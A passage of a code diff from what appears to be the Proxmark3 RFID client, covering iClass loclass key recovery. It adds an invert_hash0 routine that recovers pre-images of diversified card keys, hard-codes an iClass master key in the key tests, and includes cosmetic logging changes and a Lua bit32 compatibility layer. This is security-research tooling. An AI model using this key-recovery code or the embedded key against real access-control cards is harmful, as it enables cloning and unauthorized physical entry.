PM3_EMALLOC; } @@ -733,19 +758,28 @@ int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]) { int res = 0; uint64_t t1 = msclock(); - for (i = 0 ; i * itemsize < dumpsize ; i++) { + for (uint16_t i = 0 ; i * itemsize < dumpsize ; i++) { + memcpy(attack, dump + i * itemsize, itemsize); + res = bruteforceItem(*attack, keytable); - if (res != PM3_SUCCESS) + if (res != PM3_SUCCESS) { break; + } } + free(attack); + t1 = msclock() - t1; - PrintAndLogEx(NORMAL, ""); + if (res == PM3_SUCCESS) { + PrintAndLogEx(NORMAL, ""); + } PrintAndLogEx(SUCCESS, "time " _YELLOW_("%" PRIu64) " seconds", t1 / 1000); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "loclass exiting. Try run " _YELLOW_("`hf iclass sim -t 2`") " again and collect new data"); + PrintAndLogEx(ERR, "loclass key recovery( %s )", _RED_("fail")); + PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass sim -t 2") "` again and collect new data"); + PrintAndLogEx(NORMAL, ""); return PM3_ESOFT; } @@ -754,11 +788,12 @@ int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]) { // indicate crack-status. Those must be discarded for the // master key calculation uint8_t first16bytes[16] = {0}; - for (i = 0 ; i < 16 ; i++) { + for (uint8_t i = 0 ; i < 16 ; i++) { first16bytes[i] = keytable[i] & 0xFF; if ((keytable[i] & LOCLASS_CRACKED) != LOCLASS_CRACKED) { PrintAndLogEx(WARNING, "Warning: we are missing byte " _RED_("%d") " , custom key calculation will fail...", i); + PrintAndLogEx(NORMAL, ""); return PM3_ESOFT; } } @@ -869,7 +904,7 @@ static int _testHash1(void) { } int testElite(bool slowtests) { - PrintAndLogEx(INFO, "Testing iClass Elite functionality"); + PrintAndLogEx(INFO, "Testing iClass Elite functionality..."); PrintAndLogEx(INFO, "Testing hash2..."); uint8_t k_cus[8] = {0x5B, 0x7C, 0x62, 0xC4, 0x91, 0xC1, 0x1B, 0x39}; @@ -890,22 +925,23 @@ int testElite(bool slowtests) { */ uint8_t keytable[128] = {0}; hash2(k_cus, keytable); - printarr_human_readable("---------------------- Hash2 ----------------------", keytable, sizeof(keytable)); + printarr_human_readable("--------------------- " _CYAN_("Hash2") " -----------------------", keytable, sizeof(keytable)); if (keytable[3] == 0xA1 && keytable[0x30] == 0xA3 && keytable[0x6F] == 0x95) { - PrintAndLogEx(SUCCESS, " hash2 ( %s )", _GREEN_("ok")); + PrintAndLogEx(SUCCESS, " Hash2 ( %s )", _GREEN_("ok")); } int res = PM3_SUCCESS; PrintAndLogEx(INFO, "Testing hash1..."); res += _testHash1(); - PrintAndLogEx((res == PM3_SUCCESS) ? SUCCESS : WARNING, " hash1 ( %s )", (res == PM3_SUCCESS) ? _GREEN_("ok") : _RED_("fail")); + PrintAndLogEx((res == PM3_SUCCESS) ? SUCCESS : WARNING, " Hash1 ( %s )", (res == PM3_SUCCESS) ? _GREEN_("ok") : _RED_("fail")); PrintAndLogEx(INFO, "Testing key diversification..."); res += _test_iclass_key_permutation(); - PrintAndLogEx((res == PM3_SUCCESS) ? SUCCESS : WARNING, " key diversification ( %s )", (res == PM3_SUCCESS) ? _GREEN_("ok") : _RED_("fail")); + PrintAndLogEx((res == PM3_SUCCESS) ? SUCCESS : WARNING, " Key diversification ( %s )", (res == PM3_SUCCESS) ? _GREEN_("ok") : _RED_("fail")); - if (slowtests) + if (slowtests) { res += _testBruteforce(); + } return res; } diff --git a/client/src/loclass/ikeys.c b/client/src/loclass/ikeys.c index 7918d91f2..b50699e9e 100644 --- a/client/src/loclass/ikeys.c +++ b/client/src/loclass/ikeys.c @@ -154,8 +154,7 @@ static uint64_t ck(int i, int j, uint64_t z) { if (getSixBitByte(z, i) == getSixBitByte(z, j)) { //ck(i, j − 1, z [0] . . . z [i] ← j . . . z [3] ) uint64_t newz = 0; - int c; - for (c = 0; c < 4; c++) { + for (int c = 0; c < 4; c++) { uint8_t val = getSixBitByte(z, c); if (c == i) pushbackSixBitByte(&newz, j, c); @@ -201,22 +200,51 @@ static uint64_t check(uint64_t z) { return ck1 | ck2 >> 24; } -static void permute(BitstreamIn_t *p_in, uint64_t z, int l, int r, BitstreamOut_t *out) { - if (bitsLeft(p_in) == 0) - return; - - bool pn = tailBit(p_in); - if (pn) { - // pn = 1 - uint8_t zl = getSixBitByte(z, l); - push6bits(out, zl + 1); - permute(p_in, z, l + 1, r, out); - } else { - // otherwise - uint8_t zr = getSixBitByte(z, r); - push6bits(out, zr); - permute(p_in, z, l, r + 1, out); +// Reverse ck (scramble-1) +static uint64_t reverse_ck(int i, int j, uint64_t z) { + if (i == 1 && j == -1) { + return z; + } else if (j == -1) { + return reverse_ck(i - 1, i - 2, z); } + + uint64_t newz = 0; + if (getSixBitByte(z, i) == j) { // Reverse the swap logic based on condition in scramble^{-1} + // Perform reverse swap + for (int c = 0; c < 4; c++) { + uint8_t val = getSixBitByte(z, c); + if (c == i) { + pushbackSixBitByte(&newz, getSixBitByte(z, j), c); + } else { + pushbackSixBitByte(&newz, val, c); + } + } + return reverse_ck(i, j - 1, newz); + } else { + // Continue recursion + return reverse_ck(i, j - 1, z); + } +} + +static uint64_t reverse_check(uint64_t z) { + + //retrieve ck1 and ck2 from the hash + + // Step 1: Extract ck2 shifted part from result + // Assuming ck2 shifted part is from bits 0-23 of the result + uint64_t shifted_ck2_part = z & 0x0000000000FFFFFF; // Mask the lower 24 bits + + // Step 2: Reconstruct ck2 + uint64_t ck2 = shifted_ck2_part << 24; // Shift back to get original ck2 value + // Step 3: Recover ck1 + uint64_t ck1 = z & ~(ck2 >> 24); // Clear the bits where ck2 affected the result + // Now ck1 and ck2 have their original values before (after ck function took place) + + ck1 = reverse_ck(3, 2, ck1); + ck2 = reverse_ck(3, 2, ck2); + + return ck1 | ck2 >> 24; //This is now zP + } static void printState(const char *desc, uint64_t c) { @@ -237,6 +265,43 @@ static void printState(const char *desc, uint64_t c) { PrintAndLogEx(DEBUG, "%s", s); } +static void permute(BitstreamIn_t *p_in, uint64_t z, int l, int r, BitstreamOut_t *out) { + if (bitsLeft(p_in) == 0) + return; + bool pn = tailBit(p_in); + if (pn) { + // pn = 1 + uint8_t zl = getSixBitByte(z, l); + push6bits(out, zl + 1); + permute(p_in, z, l + 1, r, out); + } else { + // otherwise + uint8_t zr = getSixBitByte(z, r); + push6bits(out, zr); + permute(p_in, z, l, r + 1, out); + } +} + +static void reverse_permute(BitstreamIn_t *p_in, uint64_t z, int l, BitstreamOut_t *out1, BitstreamOut_t *out2, bool fix) { + if (bitsLeft(p_in) == 0) + return; + bool pn = tailBit(p_in); + if (pn) { //if p == 1 for that six bit position, then sum it + // pn = 1 + uint8_t zl = getSixBitByte(z, l); + if (fix) { + push6bits(out1, zl - 1); + } else { + push6bits(out1, zl); + } + } else { + // otherwise + uint8_t zr = getSixBitByte(z, l); + push6bits(out2, zr); + } + reverse_permute(p_in, z, l + 1, out1, out2, fix); +} + /** * @brief *Definition 11. Let the function hash0 : F 82 × F 82 × (F 62 ) 8 → (F 82 ) 8 be defined as @@ -339,6 +404,272 @@ void hash0(uint64_t c, uint8_t k[8]) { } } } + +static int find_p_in_pi(uint8_t p) { + for (int i = 0; i < 35; i++) { + if (pi[i] == p) { + return i; // Value found + } + } + return -1; // Value not found +} + +//Reverse hash0 +void invert_hash0(uint8_t k[8]) { + + uint8_t y = 0; + uint64_t zTilde = 0; + uint8_t p = 0; + + for (int i = 0; i < 8; i++) { + y |= ((k[i] & 0x80) >> (7 - i)); // Recover the bit of y from the leftmost bit of k[i] + pushbackSixBitByte(&zTilde, (k[i] & 0x7E) >> 1, i); // Recover the six bits of zTilde from the middle of k[i] + + if (g_debugMode > 0) printState("z~", zTilde); + + p |= ((k[i] & 0x01) << i); + } + + if (g_debugMode > 0) PrintAndLogEx(INFO, " y : %02x", y); // value of y (recovered 1 byte of the pre-image) + // check if p is part of the array pi, if not invert it + if (g_debugMode > 0) PrintAndLogEx(INFO, " p : %02x", p); // value of p (at some point in the original hash0) + + int remainder = find_p_in_pi(p); + if (remainder < 0) { + p = ~p; + remainder = find_p_in_pi(p); + } + + if (g_debugMode > 0) PrintAndLogEx(INFO, " p or ~p : %02x", p); // value of p (at some point in the original hash0) + + // find possible values of x that can return the same remainder + uint8_t x_count = 0; + uint8_t x_array[8]; + for (int x = 0x00; x <= 0xFF; x++) { + if (x % 35 == remainder) { + x_array[x_count] = x; + x_count++; + } + } + + uint8_t pre_image_base[8] = {0}; + pre_image_base[1] = y; + + // calculate pre-images based on the potential values of x. Sshould we use pre-flip p and post flip p just in case? + uint64_t zTil_img[8] = {0}; // 8 is the max size it'll have as per max number of X pre-images + + for (int img = 0; img < x_count; img++) { // for each potential value of x calculate a pre-image + + zTil_img[img] = zTilde; + pre_image_base[0] = x_array[img]; + + uint8_t pc = p; // redefine and reassociate it here or it'll keep changing through the loops + if (x_array[img] & 1) { // Check if potential x7 is 1, if it is then invert p + pc = ~p; + } + + // calculate zTilde for the x preimage + for (int i = 0; i < 8; i++) { + + uint8_t p_i = (pc >> i) & 0x1; // this is correct! + uint8_t zTilde_i = getSixBitByte(zTilde, i) << 1; + + if (k[i] & 0x80) { // this checks the value of the first bit of the byte (value of y_i) + if (p_i) { + zTilde_i--; + } + zTilde_i = ~zTilde_i; // flip the 6 bit string + } else { + zTilde_i |= p_i & 0x1; + } + + pushbackSixBitByte(&zTil_img[img], zTilde_i >> 1, i); + } + + if (g_debugMode > 0) { + PrintAndLogEx(INFO, _YELLOW_("Testing Pre-Image Base: %s"), sprint_hex(pre_image_base, sizeof(pre_image_base))); + PrintAndLogEx(DEBUG, " | x| y|z0|z1|z2|z3|z4|z5|z6|z7|"); + printState("0|0|z~", zTil_img[img]); // we retrieve the values of z~ + PrintAndLogEx(INFO, " p or ~p : %02x", pc); // value of p (at some point in the original hash0) + } + + // reverse permute + BitstreamIn_t p_in = { &pc, 8, 0 }; + uint8_t outbuffer_1[] = {0, 0, 0, 0, 0, 0, 0, 0}; + uint8_t outbuffer_2[] = {0, 0, 0, 0, 0, 0, 0, 0}; + BitstreamOut_t out_1 = {outbuffer_1, 0, 0}; + BitstreamOut_t out_2 = {outbuffer_2, 0, 0}; + reverse_permute(&p_in, zTil_img[img], 0, &out_1, &out_2, false); // sort the bits + + // Shift z-values down onto the lower segment + uint64_t zCaret_1 = x_bytes_to_num(outbuffer_1, sizeof(outbuffer_1)); + zCaret_1 >>= 16; + uint64_t zCaret_2 = x_bytes_to_num(outbuffer_2, sizeof(outbuffer_2)); + zCaret_2 >>= 40; + uint64_t zCaret = zCaret_1 | zCaret_2; + if (g_debugMode > 0) printState("0|0|z^", zCaret); + + // fix the bits values + uint8_t p_fix = 0x0F; // fix bits mask as the bits will be in 11110000 order + BitstreamIn_t p_in_f = { &p_fix, 8, 0 }; + uint8_t outbuffer_f1[] = {0, 0, 0, 0, 0, 0, 0, 0}; + uint8_t outbuffer_f2[] = {0, 0, 0, 0, 0, 0, 0, 0}; + BitstreamOut_t out_f1 = {outbuffer_f1, 0, 0}; + BitstreamOut_t out_f2 = {outbuffer_f2, 0, 0}; + reverse_permute(&p_in_f, zCaret, 0, &out_f1, &out_f2, true); // fixes the bits accordingly + + // Shift z-values down onto the lower segment + uint64_t zCaret_fixed1 = x_bytes_to_num(outbuffer_f1, sizeof(outbuffer_f1)); + zCaret_fixed1 >>= 16; + uint64_t zCaret_fixed2 = x_bytes_to_num(outbuffer_f2, sizeof(outbuffer_f2)); + zCaret_fixed2 >>= 40; + + uint64_t zCaret_fixed = zCaret_fixed1 | zCaret_fixed2; + if (g_debugMode > 0) printState("0|0|z^", zCaret_fixed); + + uint64_t zP = reverse_check(zCaret_fixed); + if (g_debugMode > 0) printState("0|0|z'", zP); + + // reverse the modulo transformation in the hash0 function for the six-bit chunks + + uint64_t c = 0; + + for (int n = 0; n < 4; n++) { + uint8_t _zn = getSixBitByte(zP, n); + uint8_t _zn4 = getSixBitByte(zP, n + 4); + + uint8_t zn = (_zn + (63 - 2 * n)) % (63 - n); + uint8_t zn4 = (_zn4 + (64 - 2 * n)) % (64 - n); + + pushbackSixBitByte(&c, zn, n); + pushbackSixBitByte(&c, zn4, n + 4); + } + + // The Hydra: depending on their positions, values 0x00, 0x01, 0x02, 0x03, 0x3c, 0x3d, 0x3e, 0x3f can lead to additional pre-images. + // When these values are present we need to generate additional pre-images if they have the same modulo as other values + + // Initialize an array of pointers to uint64_t (start with one value, initialized to 0) + uint64_t *hydra_heads = (uint64_t *)calloc(sizeof(uint64_t), 1); // Start with one uint64_t + if (hydra_heads == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + hydra_heads[0] = 0; // Initialize first value to 0 + int heads_count = 1; // Track number of forks + + // Iterate 4 times as per the original loop + for (int n = 0; n < 8; n++) { + + uint8_t hydra_head = getSixBitByte(c, n); + + if (hydra_head <= (n % 4) || hydra_head >= 63 - (n % 4)) { + + // Create new forks by duplicating existing uint64_t values + int new_head = heads_count * 2; + + // proper realloc pattern + uint64_t *ptmp = (uint64_t *)realloc(hydra_heads, new_head * sizeof(uint64_t)); + if (ptmp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(hydra_heads); + return; + } + hydra_heads = ptmp; + + // Duplicate all current values and add the value to both original and new ones + for (int i = 0; i < heads_count; i++) { + + // Duplicate current value + hydra_heads[heads_count + i] = hydra_heads[i]; + uint8_t small_hydra_head = 0; + uint8_t big_hydra_head = 0; + uint8_t hydra_lil_spawns[4] = {0x00, 0x01, 0x02, 0x03}; + uint8_t hydra_big_spawns[4] = {0x3f, 0x3e, 0x3d, 0x3c}; + + if (hydra_head <= n % 4) { // check if is in the lower range + + // replace with big spawn in one hydra and keep small in another + small_hydra_head = hydra_head; + for (int fh = 0; fh < 4; fh++) { + if (hydra_lil_spawns[fh] == hydra_head) { + big_hydra_head = hydra_big_spawns[fh]; + } + } + + } else if (hydra_head >= 63 - (n % 4)) { // or the higher range + + // replace with small in one hydra and keep big in another + big_hydra_head = hydra_head; + for (int fh = 0; fh < 4; fh++) { + if (hydra_big_spawns[fh] == hydra_head) { + small_hydra_head = hydra_lil_spawns[fh]; + } + } + } + // Add to both original and duplicate values + pushbackSixBitByte(&hydra_heads[i], big_hydra_head, n); + pushbackSixBitByte(&hydra_heads[heads_count + i], small_hydra_head, n); + } + // Update the count of total values + heads_count = new_head; + } else { + // no hydra head spawns + for (int i = 0; i < heads_count; i++) { + pushbackSixBitByte(&hydra_heads[i], hydra_head, n);; + } + } + } + + for (int i = 0; i < heads_count; i++) { + + // restore the two most significant bytes (x and y) + hydra_heads[i] |= ((uint64_t)x_array[img] << 56); + hydra_heads[i] |= ((uint64_t)y << 48); + + if (g_debugMode > 0) { + PrintAndLogEx(DEBUG, " | x| y|z0|z1|z2|z3|z4|z5|z6|z7|"); + printState("origin_r1", hydra_heads[i]); + } + // reverse the swapZbalues function to get the original six-bit byte order + uint64_t original_z = swapZvalues(hydra_heads[i]); + + if (g_debugMode > 0) { + PrintAndLogEx(DEBUG, " | x| y|z0|z1|z2|z3|z4|z5|z6|z7|"); + printState("origin_r2", original_z); + PrintAndLogEx(INFO, "--------------------------"); + } + // run pre-image through hash0 + uint8_t img_div_key[8] = {0}; + hash0(original_z, img_div_key); // commented to avoid log spam + + // verify result, if it matches add it to the list as a valid pre-image + bool image_match = true; + for (int v = 0; v < 8; v++) { + + // compare against input key k + if (img_div_key[v] != k[v]) { + image_match = false; + } + + } + + uint8_t des_pre_image[8] = {0}; + x_num_to_bytes(original_z, sizeof(original_z), des_pre_image); + + if (image_match) { + PrintAndLogEx(INFO, "Pre-image......... " _YELLOW_("%s") " ( "_GREEN_("ok") " )", sprint_hex_inrow(des_pre_image, sizeof(des_pre_image))); + } else { + + if (g_debugMode > 0) { + PrintAndLogEx(INFO, "Pre-image......... " _YELLOW_("%s") " ( "_RED_("invalid") " )", sprint_hex_inrow(des_pre_image, sizeof(des_pre_image))); + } + } + } + // Free allocated memory + free(hydra_heads); + } +} + /** * @brief Performs Elite-class key diversification * @param csn @@ -472,17 +803,17 @@ static bool des_getParityBitFromKey(uint8_t key) { } static void des_checkParity(uint8_t *key) { - int i; int fails = 0; - for (i = 0; i < 8; i++) { + for (uint8_t i = 0; i < 8; i++) { bool parity = des_getParityBitFromKey(key[i]); if (parity != (key[i] & 0x1)) { fails++; PrintAndLogEx(FAILED, "parity1 fail, byte %d [%02x] was %d, should be %d", i, key[i], (key[i] & 0x1), parity); } } + if (fails) { - PrintAndLogEx(FAILED, "parity fails: %d", fails); + PrintAndLogEx(FAILED, "parity fails... " _RED_("%d"), fails); } else { PrintAndLogEx(SUCCESS, " Key syntax is with parity bits inside each byte (%s)", _GREEN_("ok")); } @@ -563,15 +894,17 @@ static int testKeyDiversificationWithMasterkeyTestcases(uint8_t *key) { int i, error = 0; uint8_t empty[8] = {0}; - PrintAndLogEx(INFO, "Testing encryption/decryption"); + PrintAndLogEx(INFO, "Testing encryption/decryption..."); - for (i = 0; memcmp(testcases + i, empty, 8); i++) + for (i = 0; memcmp(testcases + i, empty, 8); i++) { error += testDES(key, testcases[i]); + } - if (error) - PrintAndLogEx(FAILED, "%d errors occurred (%d testcases)", error, i); - else - PrintAndLogEx(SUCCESS, "Hashing seems to work (%d testcases)", i); + if (error) { + PrintAndLogEx(FAILED, "%d errors occurred, %d testcases ( %s )", error, i, _RED_("fail")); + } else { + PrintAndLogEx(SUCCESS, " Hashing seems to work, " _YELLOW_("%d") " testcases ( %s )", i, _GREEN_("ok")); + } return error; } @@ -611,8 +944,9 @@ static int testDES2(uint8_t *key, uint64_t csn, uint64_t expected) { PrintAndLogEx(DEBUG, " {csn} %"PRIx64, crypt_csn); PrintAndLogEx(DEBUG, " expected %"PRIx64 " (%s)", expected, (expected == crypt_csn) ? _GREEN_("ok") : _RED_("fail")); - if (expected != crypt_csn) + if (expected != crypt_csn) { return PM3_ESOFT; + } return PM3_SUCCESS; } @@ -623,12 +957,12 @@ static int testDES2(uint8_t *key, uint64_t csn, uint64_t expected) { */ static int doTestsWithKnownInputs(void) { // KSel from http://www.proxmark.org/forum/viewtopic.php?pid=10977#p10977 - PrintAndLogEx(INFO, "Testing DES encryption"); + PrintAndLogEx(INFO, "Testing DES encryption... "); uint8_t key[8] = {0x6c, 0x8d, 0x44, 0xf9, 0x2a, 0x2d, 0x01, 0xbf}; testDES2(key, 0xbbbbaaaabbbbeeee, 0xd6ad3ca619659e6b); - PrintAndLogEx(INFO, "Testing hashing algorithm"); + PrintAndLogEx(INFO, "Testing hashing algorithm... "); int res = PM3_SUCCESS; res += testCryptedCSN(0x0102030405060708, 0x0bdd6512073c460a); @@ -642,57 +976,29 @@ static int doTestsWithKnownInputs(void) { res += testCryptedCSN(0x14e2adfc5bb7e134, 0x6ac90c6508bd9ea3); if (res != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "%d res occurred (9 testcases)", res); + PrintAndLogEx(FAILED, "%d res occurred " _YELLOW_("9") " testcases ( %s )", res, _RED_("fail")); res = PM3_ESOFT; } else { - PrintAndLogEx(SUCCESS, "Hashing seems to work (9 testcases)"); + PrintAndLogEx(SUCCESS, " Hashing seems to work " _YELLOW_("9") " testcases ( %s )", _GREEN_("ok")); res = PM3_SUCCESS; } return res; } -static bool readKeyFile(uint8_t *key, size_t keylen) { - - bool retval = false; - size_t len = 0; - uint8_t *keyptr = NULL; - if (loadFile_safe("iclass_key.bin", "", (void **)&keyptr, &len) != PM3_SUCCESS) { - return retval; - } - if (keylen == len) { - memcpy(key, keyptr, keylen); - retval = true; - } - free(keyptr); - return retval; -} - int doKeyTests(void) { - PrintAndLogEx(INFO, "Checking if the master key is present (iclass_key.bin)..."); - uint8_t key[8] = {0}; - if (readKeyFile(key, sizeof(key)) == false) { - PrintAndLogEx(FAILED, "Master key not present, will not be able to do all testcases"); - } else { + uint8_t key[8] = { 0xAE, 0xA6, 0x84, 0xA6, 0xDA, 0xB2, 0x32, 0x78 }; + uint8_t parity[8] = {0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01}; - //Test if it's the right key... - uint8_t i; - uint8_t j = 0; - for (i = 0; i < ARRAYLEN(key); i++) - j += key[i]; - - if (j != 185) { - PrintAndLogEx(INFO, "A key was loaded, but it does not seem to be the correct one. Aborting these tests"); - } else { - PrintAndLogEx(SUCCESS, "Key present"); - PrintAndLogEx(SUCCESS, "Checking key parity..."); - des_checkParity(key); - - // Test hashing functions - PrintAndLogEx(SUCCESS, "The following tests require the correct 8-byte master key"); - testKeyDiversificationWithMasterkeyTestcases(key); - } + for (int i = 0; i < 8; i++) { + key[i] += parity[i]; } + + PrintAndLogEx(SUCCESS, "Checking key parity..."); + des_checkParity(key); + + // Test hashing functions + testKeyDiversificationWithMasterkeyTestcases(key); PrintAndLogEx(INFO, "Testing key diversification with non-sensitive keys..."); return doTestsWithKnownInputs(); } diff --git a/client/src/loclass/ikeys.h b/client/src/loclass/ikeys.h index f23e87ccf..ce828fae2 100644 --- a/client/src/loclass/ikeys.h +++ b/client/src/loclass/ikeys.h @@ -49,6 +49,7 @@ * @return */ void hash0(uint64_t c, uint8_t k[8]); +void invert_hash0(uint8_t k[8]); int doKeyTests(void); /** * @brief Performs Elite-class key diversification diff --git a/client/deps/liblua/lbitlib.c b/client/src/lua_bitlib.c similarity index 53% rename from client/deps/liblua/lbitlib.c rename to client/src/lua_bitlib.c index f36ec0265..bd92d2d59 100644 --- a/client/deps/liblua/lbitlib.c +++ b/client/src/lua_bitlib.c @@ -2,49 +2,44 @@ ** $Id: lbitlib.c,v 1.18 2013/03/19 13:19:12 roberto Exp $ ** Standard library for bitwise operations ** See Copyright Notice in lua.h +** +** Patched to provide a compatibility layer with Lua5.3+ where +** bit32 library was removed. */ -#define lbitlib_c -#define LUA_LIB - -#include "lua.h" +#include "lua_bitlib.h" #include "lauxlib.h" -#include "lualib.h" - /* number of bits to consider in a number */ -#if !defined(LUA_NBITS) -#define LUA_NBITS 32 -#endif +#define LUA_BITLIB_NBITS 32 -#define ALLONES (~(((~(lua_Unsigned)0) << (LUA_NBITS - 1)) << 1)) +#define ALLONES (~(((~(lua_Unsigned)0) << (LUA_BITLIB_NBITS - 1)) << 1)) /* macro to trim extra bits */ #define trim(x) ((x) & ALLONES) -/* builds a number with 'n' ones (1 <= n <= LUA_NBITS) */ +/* builds a number with 'n' ones (1 <= n <= LUA_BITLIB_NBITS) */ #define mask(n) (~((ALLONES << 1) << ((n) - 1))) typedef lua_Unsigned b_uint; - static b_uint andaux(lua_State *L) { int i, n = lua_gettop(L); b_uint r = ~(b_uint)0; for (i = 1; i <= n; i++) - r &= luaL_checkunsigned(L, i); + r &= (b_uint)luaL_checkinteger(L, i); return trim(r); } static int b_and(lua_State *L) { b_uint r = andaux(L); - lua_pushunsigned(L, r); + lua_pushinteger(L, r); return 1; } @@ -60,8 +55,8 @@ static int b_or(lua_State *L) { int i, n = lua_gettop(L); b_uint r = 0; for (i = 1; i <= n; i++) - r |= luaL_checkunsigned(L, i); - lua_pushunsigned(L, trim(r)); + r |= (b_uint) luaL_checkinteger(L, i); + lua_pushinteger(L, trim(r)); return 1; } @@ -70,15 +65,15 @@ static int b_xor(lua_State *L) { int i, n = lua_gettop(L); b_uint r = 0; for (i = 1; i <= n; i++) - r ^= luaL_checkunsigned(L, i); - lua_pushunsigned(L, trim(r)); + r ^= (b_uint) luaL_checkinteger(L, i); + lua_pushinteger(L, trim(r)); return 1; } static int b_not(lua_State *L) { - b_uint r = ~luaL_checkunsigned(L, 1); - lua_pushunsigned(L, trim(r)); + b_uint r = ~((b_uint)luaL_checkinteger(L, 1)); + lua_pushinteger(L, trim(r)); return 1; } @@ -87,62 +82,62 @@ static int b_shift(lua_State *L, b_uint r, int i) { if (i < 0) { /* shift right? */ i = -i; r = trim(r); - if (i >= LUA_NBITS) r = 0; + if (i >= LUA_BITLIB_NBITS) r = 0; else r >>= i; } else { /* shift left */ - if (i >= LUA_NBITS) r = 0; + if (i >= LUA_BITLIB_NBITS) r = 0; else r <<= i; r = trim(r); } - lua_pushunsigned(L, r); + lua_pushinteger(L, r); return 1; } static int b_lshift(lua_State *L) { - return b_shift(L, luaL_checkunsigned(L, 1), luaL_checkint(L, 2)); + return b_shift(L, (b_uint)luaL_checkinteger(L, 1), luaL_checkinteger(L, 2)); } static int b_rshift(lua_State *L) { - return b_shift(L, luaL_checkunsigned(L, 1), -luaL_checkint(L, 2)); + return b_shift(L, (b_uint)luaL_checkinteger(L, 1), -luaL_checkinteger(L, 2)); } static int b_arshift(lua_State *L) { - b_uint r = luaL_checkunsigned(L, 1); - int i = luaL_checkint(L, 2); - if (i < 0 || !(r & ((b_uint)1 << (LUA_NBITS - 1)))) + b_uint r = (b_uint)luaL_checkinteger(L, 1); + int i = luaL_checkinteger(L, 2); + if (i < 0 || !(r & ((b_uint)1 << (LUA_BITLIB_NBITS - 1)))) return b_shift(L, r, -i); else { /* arithmetic shift for 'negative' number */ - if (i >= LUA_NBITS) r = ALLONES; + if (i >= LUA_BITLIB_NBITS) r = ALLONES; else r = trim((r >> i) | ~(~(b_uint)0 >> i)); /* add signal bit */ - lua_pushunsigned(L, r); + lua_pushinteger(L, r); return 1; } } static int b_rot(lua_State *L, int i) { - b_uint r = luaL_checkunsigned(L, 1); - i &= (LUA_NBITS - 1); /* i = i % NBITS */ + b_uint r = (b_uint)luaL_checkinteger(L, 1); + i &= (LUA_BITLIB_NBITS - 1); /* i = i % NBITS */ r = trim(r); - if (i != 0) /* avoid undefined shift of LUA_NBITS when i == 0 */ - r = (r << i) | (r >> (LUA_NBITS - i)); + if (i != 0) /* avoid undefined shift of LUA_BITLIB_NBITS when i == 0 */ + r = (r << i) | (r >> (LUA_BITLIB_NBITS - i)); - lua_pushunsigned(L, trim(r)); + lua_pushinteger(L, trim(r)); return 1; } static int b_lrot(lua_State *L) { - return b_rot(L, luaL_checkint(L, 2)); + return b_rot(L, luaL_checkinteger(L, 2)); } static int b_rrot(lua_State *L) { - return b_rot(L, -luaL_checkint(L, 2)); + return b_rot(L, -luaL_checkinteger(L, 2)); } @@ -153,11 +148,11 @@ static int b_rrot(lua_State *L) { ** 'width' being used uninitialized.) */ static int fieldargs(lua_State *L, int farg, int *width) { - int f = luaL_checkint(L, farg); - int w = luaL_optint(L, farg + 1, 1); + int f = luaL_checkinteger(L, farg); + int w = luaL_optinteger(L, farg + 1, 1); luaL_argcheck(L, 0 <= f, farg, "field cannot be negative"); luaL_argcheck(L, 0 < w, farg + 1, "width must be positive"); - if (f + w > LUA_NBITS) + if (f + w > LUA_BITLIB_NBITS) luaL_error(L, "trying to access non-existent bits"); *width = w; return f; @@ -166,47 +161,45 @@ static int fieldargs(lua_State *L, int farg, int *width) { static int b_extract(lua_State *L) { int w; - b_uint r = luaL_checkunsigned(L, 1); + b_uint r = (b_uint)luaL_checkinteger(L, 1); int f = fieldargs(L, 2, &w); r = (r >> f) & mask(w); - lua_pushunsigned(L, r); + lua_pushinteger(L, r); return 1; } static int b_replace(lua_State *L) { int w; - b_uint r = luaL_checkunsigned(L, 1); - b_uint v = luaL_checkunsigned(L, 2); + b_uint r = (b_uint)luaL_checkinteger(L, 1); + b_uint v = (b_uint)luaL_checkinteger(L, 2); int f = fieldargs(L, 3, &w); int m = mask(w); v &= m; /* erase bits outside given width */ r = (r & ~(m << f)) | (v << f); - lua_pushunsigned(L, r); + lua_pushinteger(L, r); return 1; } -static const luaL_Reg bitlib[] = { - {"arshift", b_arshift}, - {"band", b_and}, - {"bnot", b_not}, - {"bor", b_or}, - {"bxor", b_xor}, - {"btest", b_test}, - {"extract", b_extract}, - {"lrotate", b_lrot}, - {"lshift", b_lshift}, - {"replace", b_replace}, - {"rrotate", b_rrot}, - {"rshift", b_rshift}, - {NULL, NULL} -}; +void register_bit32_lib(lua_State *L) { + static const luaL_Reg bitlib[] = { + {"arshift", b_arshift}, + {"band", b_and}, + {"bnot", b_not}, + {"bor", b_or}, + {"bxor", b_xor}, + {"btest", b_test}, + {"extract", b_extract}, + {"lrotate", b_lrot}, + {"lshift", b_lshift}, + {"replace", b_replace}, + {"rrotate", b_rrot}, + {"rshift", b_rshift}, + {NULL, NULL} + }; - - -LUAMOD_API int luaopen_bit32(lua_State *L) { luaL_newlib(L, bitlib); - return 1; + lua_setfield(L, -2, "bit32"); } diff --git a/client/src/lua_bitlib.h b/client/src/lua_bitlib.h new file mode 100644 index 000000000..59e9c8880 --- /dev/null +++ b/client/src/lua_bitlib.h @@ -0,0 +1,25 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Bitwise manipulation library which got deprecated in lua5.3 +//----------------------------------------------------------------------------- +#ifndef LUA_BITLIB_H__ +#define LUA_BITLIB_H__ + +#include + +void register_bit32_lib(lua_State *L); + +#endif diff --git a/client/src/mifare/aiddesfire.c b/client/src/mifare/aiddesfire.c index f1d7609f7..26bf9adf6 100644 --- a/client/src/mifare/aiddesfire.c +++ b/client/src/mifare/aiddesfire.c @@ -94,7 +94,7 @@ typedef enum { const char *nxp_cluster_to_text(uint8_t cluster) { switch (cluster) { case CL_ADMIN: - return "card administration"; + return "Card administration"; case 